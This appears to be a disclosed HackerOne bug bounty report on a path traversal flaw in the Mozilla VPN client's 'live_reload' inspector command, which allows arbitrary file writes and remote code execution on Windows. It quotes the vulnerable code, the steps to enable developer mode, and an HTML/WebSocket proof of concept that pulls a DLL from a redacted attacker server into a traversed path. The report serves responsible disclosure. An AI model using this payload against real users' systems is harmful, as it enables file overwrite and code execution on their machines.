HexBrain

Mozilla · Report #2995025

Mozilla VPN Clients: RCE via file write and path traversal

Validstatus
highseverity
$6,000bounty
173upvotes
29 Jul 2025disclosed

Summary

The report identifies a path traversal vulnerability in Mozilla VPN's client software that leads to Remote Code Execution (RCE). The vulnerability exists in the "live_reload" command of the client's inspector feature, which can be accessed when the client is in developer mode with "Use Staging Servers" enabled. The vulnerable code in the InspectorHotreloader::fetchAndAnnounce() function fails to properly sanitize file paths when downloading remote files to a temporary folder, allowing path traversal via the ".." sequence in Windows file paths. This enables an attacker to write arbitrary files to any location on the filesystem, which can be leveraged to achieve code execution.

How it was found

Summary:

Hi! I decided to have another look at the Mozilla VPN Client, after #2920675 was set to resolved. When going over all commands in the inspector, I noticed the "live_reload" command can be used with remote files. When using this command, the remote file is downloaded to a tmp folder. The problem is that there is a path traversal here, meaning we can override any file on the filesystem (tested on Windows).

Vulnerable code (InspectorHotreloader::fetchAndAnnounce() https://github.com/mozilla-mobile/mozilla-vpn-client/blob/main/src/inspector/inspectorhotreloader.cpp):

QObject::connect(
      request, &NetworkRequest::requestCompleted,
      [this, path, dummy_task](const QByteArray& data) {
        dummy_task->deleteLater();
        auto temp_path = QString("%1/%2").arg(m_qml_folder, path.fileName());
        auto temp_file = new QFile(temp_path);
        temp_file->open(QIODevice::WriteOnly);
        if (!temp_file->write(data)) {
          logger.warning() << "Unable to write to file:"
                           << temp_file->fileName();
          return;
        }
        if (!temp_file->flush()) {
          logger.warning() << "Unable to flush to file:"
                           << temp_file->fileName();
          return;
        }
        temp_file->close();
        QFileInfo info(temp_path);
        annonceReplacedFile(QUrl::fromLocalFile(info.absoluteFilePath()));
      });

You can see in the above snippet, that the temp_path is simply a concatenation of a set directory and our filename.

Steps To Reproduce:

  1. Download Mozilla VPN here: https://www.mozilla.org/en-US/products/vpn/download/
  2. Turn on developer mode (see video PoC below):
    1. Open the help menu
    2. Click the "Help" title 6 times rapidly
    3. In the developer options, check "Use Staging Servers"
    4. Fully close and reopen
  3. Save the following HTML and open it (change to your attacker_server)
<script>
    var ws = new WebSocket('ws://localhost:8765/');
    var attacker_server = "███████" // needs to be HTTP, no HTTPS
    
    payload = `live_reload ${attacker_server}/..\\..\\traversal_poc.dll`

    ws.onopen = function() {
        ws.send(payload); 
    };
    ws.onmessage = function(event) {
        document.getElementById("data").innerText += event.data + "\n";
    };
 </script>
 <h1>Data retrieved:</h1>
 <div id="data"></div>
  1. Notice the file was written to C:\Users\user\AppData\Local\Mozilla instead of C:\Users\user\AppData\Local\Mozilla\Mozilla VPN\hot_reload.

Supporting Material/References:

█████

Happy to help if anything is unclear!

Impact

Any file can be overridden leading to RCE. This is exploitable via limited user interaction (simply opening the attacker site) when the staging servers are being used. ==Note that this does not work on macOS.== The impact is the same as in #2920675.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original